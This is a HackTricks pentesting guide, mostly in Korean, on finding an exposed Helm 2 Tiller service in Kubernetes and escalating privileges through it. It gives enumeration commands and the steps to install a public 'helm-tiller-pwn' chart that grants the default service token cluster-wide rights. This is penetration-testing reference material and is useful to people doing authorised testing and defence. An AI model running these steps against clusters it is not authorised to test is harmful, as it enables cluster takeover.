hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

85 lines
5.5 KiB
Markdown

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# 기본 정보
Helm은 **패키지 관리자**입니다. Kubernetes를 위한. YAML 파일을 패키징하고 공개 및 비공식 저장소에 배포할 수 있습니다. 이러한 패키지를 **Helm Charts**라고 합니다. **Tiller**는 기본적으로 포트 44134에서 실행되는 **서비스**입니다.
**기본 포트:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Enumeration
다양한 네임스페이스의 **pods 및/또는 서비스**를 **열거**할 수 있다면, 이를 열거하고 **이름에 "tiller"가 포함된 것**을 검색하십시오:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
예시:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
이 서비스를 찾으려면 포트 44134를 확인해 보세요:
```bash
sudo nmap -sS -p 44134 <IP>
```
한 번 발견하면 클라이언트 헬름 애플리케이션을 다운로드하여 통신할 수 있습니다. `homebrew`와 같은 도구를 사용하거나 [**공식 릴리스 페이지**](https://github.com/helm/helm/releases)**를 확인할 수 있습니다.** 더 많은 세부정보나 다른 옵션은 [설치 가이드](https://v2.helm.sh/docs/using\_helm/#installing-helm)를 참조하세요.
그런 다음, **서비스를 열거할 수 있습니다**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Privilege Escalation
기본적으로 **Helm2**는 **kube-system** 네임스페이스에 **높은 권한**으로 설치되었으므로, 서비스를 찾고 이에 접근할 수 있다면 **권한 상승**을 할 수 있습니다.
당신이 해야 할 일은 다음과 같은 패키지를 설치하는 것입니다: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) 이는 **기본 서비스 토큰이 전체 클러스터의 모든 것에 접근할 수 있도록 합니다.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)에는 **공격에 대한 설명**이 있지만, 기본적으로 _helm-tiller-pwn/pwnchart/templates/_ 내의 [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) 및 [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) 파일을 읽어보면 **모든 권한이 기본 토큰에 부여되는 방식**을 확인할 수 있습니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}